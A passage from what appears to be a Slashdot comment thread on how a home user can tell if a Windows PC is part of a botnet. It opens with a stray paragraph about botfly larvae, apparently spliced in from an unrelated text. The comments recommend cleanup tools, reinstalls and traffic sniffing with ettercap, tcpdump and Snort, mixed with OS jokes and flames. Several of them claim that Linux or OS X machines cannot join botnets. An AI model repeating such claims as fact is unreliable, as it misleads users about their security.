    Eggs are deposited in animal skin directly, or the larvae drop from the egg: the body heat of the animal induces hatching upon contact. Some forms of botfly also reside in the digestive tract when consumed by a licking action.

    Myiasis can be caused by larvae burrowing into the skin (or tissue lining) of the host animal. Mature larvae drop from the host and complete the pupal stage in soil. They do not kill the host animal, and thus are true parasites (though some species of rodent-infesting botflies do consume the host's testes/ovaries).

  99. wait... by alien9 · · Score: 1

    how did you log in to fix things when it was not connect to teh internets? Seriuos.

  100. Try GMER. by DocSavage64109 · · Score: 1

    Re: Question 5. I just cleaned a computer displaying similar behaviour the other day. It took GMER from http://www.gmer.net/ to disable and remove the rootkit's dll on the machine I was working with. After that, I was able to run MBAM, install free avg, and had the system running very well.

  101. I love... by Anonymous Coward · · Score: 0

    ...how this was tagged "windows" because it had botnet in the title as if no linux machine has ever been turned in to a zombie.

  102. Try a more simple solution by Anonymous Coward · · Score: 0

    While setting up a dedicated IDS is something that would be good in an office environment... we're talking about a novice home user here. Frankly, much of the advice given on here is overkill or irrelevant (ie. installing OSX or Linux isn't a solution).

    Here's what you need (of course, him being in India may throw a wrench into the availability of some of these solutions).

    First things first, AntiVirus absolutely must be up to date. I recommend AVG Free... as the price is right. Unless he wants to get (or has access through his job as some do) Symantec AntiVirus Corporate Edition (which doesn't include all the bloatware).
    Second, make sure Windows Defender is downloaded (http://tinyurl.com/kujpsj for the India site) and up to date.
    Third, run all Windows updates.
    Fourth, an additional Adware/Malware remover is a good idea... Lavasoft's Adaware is userfriendly and picks up 99.9% of problems.
    Fifth, do all that fun spring cleaning, (delete old restore points, clear temporary files, defrag the hd, etc)
    Finally, check which security features are on his router. There have been some router worms going around. Check out this article to fix/lock down the router...http://tinyurl.com/ddt7l6

    If none of that works... back up the data, and do the old Windows reinstall. Before restoring your data, have him bring it to the Indian equivalent of Geek Squad (or whatever computer fix-it shop) and have them run a virus scan on the backed up data.

    If he's still having slow computer problems... then the hardware is just going on him (as with a fresh install of Windows, it should run pretty smoothly)

  103. The KBA by Godji · · Score: 1

    Here is my patent-pending Karma Burning Algorithm (TM):

    if( GetOperatingSystem() == "Windows" ) return true;
    else return false;

    Simple!

  104. the easiest way by cas2000 · · Score: 1

    is to ask yourself "Is my computer running Microsoft Windows?"

    if the answer to that is "yes", then your computer is either already running a botnet or will be soon.

  105. Switch to linux by Anonymous Coward · · Score: 0

    Switch to linux, then you'll know that it is not a Botnet

  106. How to not be part of a botnet. by Throll · · Score: 1

    Unplug it. This Internet business is overrated anyway. Though, I wouldn't be suprised if a Windows machine managed to get infected even disconnected from the world.

  107. Re:Proof of Infection? Clean Reinstall by cyphercell · · Score: 1

    Seriously, I've had process explorer in my kit for a while, but haven't used it for much lately. Have you tried Malwarebytes, I wonder why it's not on your list. FWIW if you can't boot your system at all one of the guys from MBAM suggests Avira http://www.free-av.com/en/products/12/avira_antivir_rescue_system.html haven't tried that one yet, but it's on my list of potentials, so I'd love to hear if anyone has worked with it.

    --
    Under the influence of Post-Cyberpunk Gonzo Journalism
  108. Re:Proof of Infection? Clean Reinstall by cyphercell · · Score: 1

    "FWIW if you can't boot your system at all one of the guys from *the* MBAM *forums* suggests Avira "

    Sorry, had to fix that.

    --
    Under the influence of Post-Cyberpunk Gonzo Journalism
  109. Re:Proof of Infection? Clean Reinstall by cyphercell · · Score: 1

    http://www.raymond.cc/blog/archives/2008/12/11/13-antivirus-rescue-cds-software-compared-in-search-for-the-best-rescue-disk/

    Meh, there's a comparison of boot discs. Looks like the best by this eval is the Kaspersky rescue disc, but Avira runs a close second.

    I find that believable, Kaspersky is a great AV program, I highly recommend it.

    --
    Under the influence of Post-Cyberpunk Gonzo Journalism
  110. Re:Proof of Infection? Clean Reinstall by cyphercell · · Score: 1

    Yea, if you're reimaging off of the install disk this is the best way to go. Automate the darn thing, leave it unattended, forget about entering license keys, or clicking "next" a thousand times. Drop the disc in and hang with your parents while you're there.

    --
    Under the influence of Post-Cyberpunk Gonzo Journalism
  111. Re:Beware Many wireless Routers Loose their Securi by cboslin · · Score: 2, Interesting

    There are some very inexpensive UPS enabled power strips today. APC makes a bunch. Just pick one up and make sure only your hardware router/firewall and hubs (if you use them) are plugged into it. With that light of a load, they will run longer than a larger UPS hooked up to your monitor and tower PC. Lets face it, if the power is out more than 30 minutes today, most home UPSs will run out of battery power before the smaller one dedicated to the modem and router/firewall. At least that has been my experience.

    I put larger UPS hardware next to my primary work tower and (servers + big screen TV) and put a smaller less expensive UPS for my routers, modem, hubs. In the last two years I lost power for longer than 30 minutes only once. It was a no brainer shutting down everything before the UPS battery was completely depleted.

    I was able to watch a 42 inch TV for 20 minutes before I had to turn it off, because the power did not come back on. So it is a pretty big UPS for a home. At least I do not have to worry about brown outs any more. The lights blink, no worries.

    I turned the larger one off about 10 - 15 minutes before the smaller one keeping the modems and router/firewall hardware up ran out of juice. (I had a firewall/router, dumb hub and cable modem on that one smaller UPS, no problems and nothing else.)

  112. Yes by nog_lorp · · Score: 1

    Short answer? Yes.

  113. Obvious easy answer by 1s44c · · Score: 1

    If your computer is running Linux, Unix, OS/X it's not part of a botnet.

    If your computer is not on any network it's not part of a botnet.

    If your computer is running windows you take your chances.

  114. Maybe I can help... by schamarty · · Score: 1

    Ashraya,

    I live in Hyderabad, and I install Linux for a lot of people (friends, relatives, etc) around the place. I don't do windows, but if they're willing to spend a wee bit of time with me showing them the basics I'm sure they'll manage pretty well. Maybe not a scratch+install, but a dual boot would be fine.

    Contact me at sitaramc -at- gmail -dot- com if you're interested. I live in the Srinagar Colony area but within reason, I'll go anywhere to help.

    Oh, just in case you were wondering: no strings attached. None. (I have a very nice day job thank you! I do this for fun :-)

  115. Setup Linux by Anonymous Coward · · Score: 0

    Setup Linux something Like Ubuntu/Kubuntu on 2 computers Desktop and Laptop and all problems with botnets gun , no viruses , trojans and all this staff , is more secure to use it .

  116. Could be torrents by dasmoo · · Score: 1

    Torrents would seem like random connections to multiple machines.

  117. Yeah.... by Iargue · · Score: 1

    Your first mistake is that you think not having a password on your router makes you get infected. You dont need linux or anything. Get Combofix and Malwarebytes. If you have anything its gone. If you really want to know, Ethereal works perfectly well. No need for a hub, or any of that bullshit. People rely way to much on linux.

  118. What to do to avoid wasting time by hesaigo999ca · · Score: 1

    I replace my OS from an image of my install back with all my softwares, so that an image can be reused in under 20 minutes, and you are good to go, once a month even is good, with or without traces of spyware or trojans etc... just to be safe. Also I keep all files personal off the c drive.

    I also have a copy of an image for a client of mine that regularly gets viruses, he pays me for the reinstall each time, although it takes me 20min. I charge him my min. 1 hour.

    The son in this case could just avoid alot of heartache for himself and his dad, and just clone an image after fresh install, and re use that each time the father says something is up, as well a config file can be backed up for the router (linksis) so that you hard reset and reuse a saved config file to re enable all the configured stuff on the router, except change to a new admin password!

  119. I wouldn't talk were I you ion.SIMIAN.c by Anonymous Coward · · Score: 0

    http://tech.slashdot.org/comments.pl?sid=1327945&cid=28981391 seems to have easily put you in your place. You attempt to cut down others whom you have trolled before and when you are asked for evidences of your blustering after you had attacked other posters as you have here also, it seemed you have no proofs of anything you have ever done yourself in computing in the way of programming that was rated well by others after you called the posters there stupid and what not. Anyone can talk a good game like you do ion.simon.c but it's quite another issue to actually do a good game. After all, you're the one stupid enough to be a registered user here and it made it ridiculously easy to find your post history and catch you messing up yourself. You ran from that post, why is that?

    1. Re:I wouldn't talk were I you ion.SIMIAN.c by Anonymous Coward · · Score: 0

      I don't have a dog in this fight, but I'll say, I'm not impressed by name calling.

  120. This will happen again by CAIMLAS · · Score: 1

    This will happen again: the wireless driver stack in Windows is poorly written and, as a result, users will disable the 'security' features just to get it to work consistently. Put another operating system on there. I suggest DOS or Linux if you don't want it to be exploited again in such a fashion.

    Frankly, I'm surprised this got posted to slashdot. This is like "how do I floss my teeth?" or maybe "why is air breathable?" - both questions with easily findable answers via google. Maybe you should've started there.

    --
    ~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
    1. Re:This will happen again by Anonymous Coward · · Score: 0

      Maybe he was looking for a higher quality, more reliable answer than he would receive wading through 1000s of pages of useless garbage on Google. Unfortunately your answer proves that /. isn't necessarily any better.

  121. The ONLY way to be sure 100% sure. by neo · · Score: 1

    "How Can I Tell If My Computer Is Part of a Botnet?"

    The ONLY way to be sure is to infect the machine. That way you can be 100% sure that it's infected. No more trying to figure out if it's infected or testing anything.

    You can be certain using this method that the machine is or is not part of the Botnet.

  122. Xtoph by Anonymous Coward · · Score: 0

    Just boot up backtrack (the live linux cd) on another computer and use ettercap + tcpdump to sniff traffic on the switched network.

    you could maybe setup a honeypot (Honeyd from the live cd) to see if your possibly infected computer is attacking other computers on your network.

  123. The real takeaway by Anonymous Coward · · Score: 0

    Dude, your dad shut down twitter

  124. Beowulf vs. botnet by marciot · · Score: 1

    Q: What do you call a Linux workstation on a network with other Linux workstations?
    A: A Beowulf cluster

    Q: What do you can a Windows machine on a network with other Windows machines?
    A: A botnet.

  125. Bothunter by Anonymous Coward · · Score: 0

    Run snort into hothunter and see what happens on the reloaded machine. Bothunter is at SRI.

  126. Mod down all you like:"0 troll" gives you away by Anonymous Coward · · Score: 0

    Per my subject-line above, plus, my even earlier replying & thanking whoever modded up my post INITIALLY to +1 INFORMATIVE? My post being @ "0 Troll" rating gives you away...

    I.E.-> That "0 Troll" should have gone into the negative below zero ranges, & should have shown as "-1 Troll", if it were a troll & nobody modded it up. Obviously, someone did, before you rated it down, unjustifiably no less (like a woman would when proven wrong, not a man)...

    Talk about stupidity in blowing a load of mod points for nothing on your parts (that's to my "naysayers" & trolls here that have nothing better in response once they get beaten - all they have then, is their effete mod-downs, but never any valid technically sound reasoning for it via replies)

    APK

    P.S.=> It must suck to live a life of a "not man", the kind that acts more like WOMEN DO, instead of a man does, operating via b.s. & rumor spreading + other dirty little tricks, like this one... whoever modded me down? You think about that, it IS directed, to you, specifically (&, it's the truth about you)... apk

  127. Just Flatten the system! by Anonymous Coward · · Score: 0

    Just flatten the system and rebuild it properly.

    Bang! Botnet threat gone.

  128. You are a cool dude by xmark · · Score: 1

    Please clone yourself...we need multiple copies.